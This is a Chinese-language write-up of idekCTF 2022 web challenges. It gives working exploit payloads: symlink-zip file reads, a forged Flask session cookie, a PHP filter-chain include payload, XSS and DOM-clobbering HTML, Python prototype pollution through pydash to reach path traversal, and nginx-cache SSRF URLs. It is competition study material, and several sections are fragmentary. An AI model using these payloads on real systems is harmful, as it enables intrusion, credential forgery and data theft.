idekCTF2022-web-wp
Readme
测一下参数,发现 buf 里面是伪随机数
当我们传入 1,2,3,后端会进行累加,最后是 6
1 | { |
但是测试了 100,后端居然直接加了 4096
通过这一段代码,找到我们需要累加到的数字: 12625
1 | func justFindIt(w http.ResponseWriter, r *http.Request) { |
于是最终的 payload: 4096*3+99*3+40=12625
1 | { |
SimpleFileServer
就是简单的 unzip 任意文件读取
1 | rm test && ln -s /app/config test && zip -y 1.zip test |
读取到的 config.py
1 | import random |
再读取 /tmp/server.log
1 | [2023-01-13 23:04:17 +0000] [9] [INFO] Starting gunicorn 20.1.0 |
计算了时间戳大概在 1673651057(UTC) 或 1673622257(GMT) 左右,而这里 +0000
说明题目环境是 UTC
注意 time.time() 是会有小数点存在的
1 | import random |
1 | └─$ python3 flask_session_cookie_manager3.py encode -s '84787d274d6b7e03d94ce2dcbfe85bf1' -t "{'admin':1}" |
1 | └─$ curl http://simple-file-server.chal.idek.team:1337/flag --Cookie "session=eyJhZG1pbiI6MX0.Y8J-FA.IndZknlKXMWan07-Rul5NjCOfrU" |
Paywall
改一改 github 脚本 https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
1 | file_to_use = "/etc/passwd" |
1 | curl "127.0.0.1:80/?p=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=flag" --output 1.txt |
1 | └─$ cat 1.txt |
json_beautifier(复现)
the flag is stored in the admin’s cookie
推荐两个 Dom Clobbering 检测工具
url 输入
1 | http://json-beautifier.chal.idek.team:1337/?json={%22a%22:%221%3C/pre%3E%3Cimg%20src=x%20onerror=alert(1)%20/%3E%3Cpre%3E2%22} |
可以直接填入 json
经过本地测试,如果没有 csp 防护,这样的 payload 可以触发弹窗
Dom Clobbering 绕过 csp ?
1 | const beautify = () => { |
以为是单纯的绕过 CSP,没想到是直接 DOM Clobbering
对于 this.config?.opts?.cols
是可以使用 Dom Clobbering 来给他直接赋值的
但是,此题目中,我们是在还没 Dom 破坏的时候获取 this.config?.opts?.cols
,之后插入 json 格式数据才进行了 Dom 破坏
For Dom Clobbering
so how do we clobber
config.opts.cols
? traditional clobbering wont work here, so we need to find an HTML element that has acols
attribute can be a string. for this, we can use a frameset! a good way to find this would be by using some of the examples in this post: https://portswigger.net/research/dom-clobbering-strikes-back
同时赋值两个变量
1 | <iframe |
For eval
1 | output = JSON.stringify(userJson, null, cols); |
JSON.stringify 最多只能插入 10 个字符,我们需要额外引入一个变量
1 | console.log(JSON.stringify({ a: "a" }, null, "12345678901")); |
重新加载 main.js
通过写 frame,在 frame 中写入恶意 HTML 造成 Dom 破坏,然后重新加载一次 main.js,执行到 eval
1 | <iframe |
最后执行的 eval 是这样的
1 | beautified = { |
idek{w0w_th4t_JS0N_i5_v3ry_beautiful!!!}
badblocker(复现)
原型链污染 ?
import-history.html
1 | window.blockHistory = combineHistories(window.blockHistory, newHistory); |
XSS 可控 innerHTML
index.html utils.js 中的 innerHTML 都因为 URL 编码,插不了 js 代码
1 | document.getElementById("exportHistory").addEventListener("click", () => { |
此处有一个遗漏,就是 numBlocked,如果能插入 <img src= />
就成功了
1 | // show everything |
原型链污染和for (const [date, { url, numBlocked }] of Object.entries(history).reverse())
原型链污染之后还要达到一定的条件才会触发······
task manager(复现)
预期解太难了······
python 的原型链污染······
有一个不完全的任意文件读取漏洞,但是当我们传入 ..%2f..%2f..%2f..%2f..%2fetc%2fpasswd,会返回 jinja2.exceptions.TemplateNotFound: ../../../../etc/passwd
1 |
|
这题非预期的地方在于 Dockerfile,COPY . .
把包含了 flag 的 Dockerfile 也拷贝到了容器里面
如果能做到任意文件读取,那么这里的 /flag-$(head -c 16 /dev/urandom | xxd -p).txt
也就没有意义了,我们直接读 /app/Dockerfile 就可以拿到 flag
1 | RUN echo "idek{[REDACTED]}" > /flag-$(head -c 16 /dev/urandom | xxd -p).txt |
我们传入 task 和 status 参数会调用到 tasks.get(task)
1 | class TaskManager: |
漏洞点在于 pydash.set_(self, task, status)
,题目对 task 做了黑名单检测,不能出现这些字符串 ["set", "get", "get_all", "__init__", "complete"]
discord 频道上他人使用的 payload: 污染使得os.path.pardir != ".."
即可以任意文件读
1 | task="__init__.__globals__.pydash.cond.__globals__.randint.__globals__._os.path.pardir" |
Proxy Viewer(复现)
nginx proxy_cache 缓存
1 | location ^~ /static/ { |
传入的 path 参数会用到 urlopen 打开 page = urlopen(path, timeout=.5)
如果路径中匹配到/static/
就可以通过 SSRF 本地打开将 flag 保存到 nginx 缓存中,之后就可以非本地直接访问了,不需要执行 app.py 程序
用 %23 注释掉后面的部分 /static/
nginx 缓存不稳定?无法稳定复现~
- https://proxy-viewer-9e49f6fd458ec779.instancer.idek.team/proxy/http://127.0.0.1:1337/proxy/file%3a///flag.txt%2523%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fstatic%252Fa
- https://proxy-viewer-9e49f6fd458ec779.instancer.idek.team/proxy/file:///flag.txt%23%2F..%2F..%2F..%2Fstatic%2Fa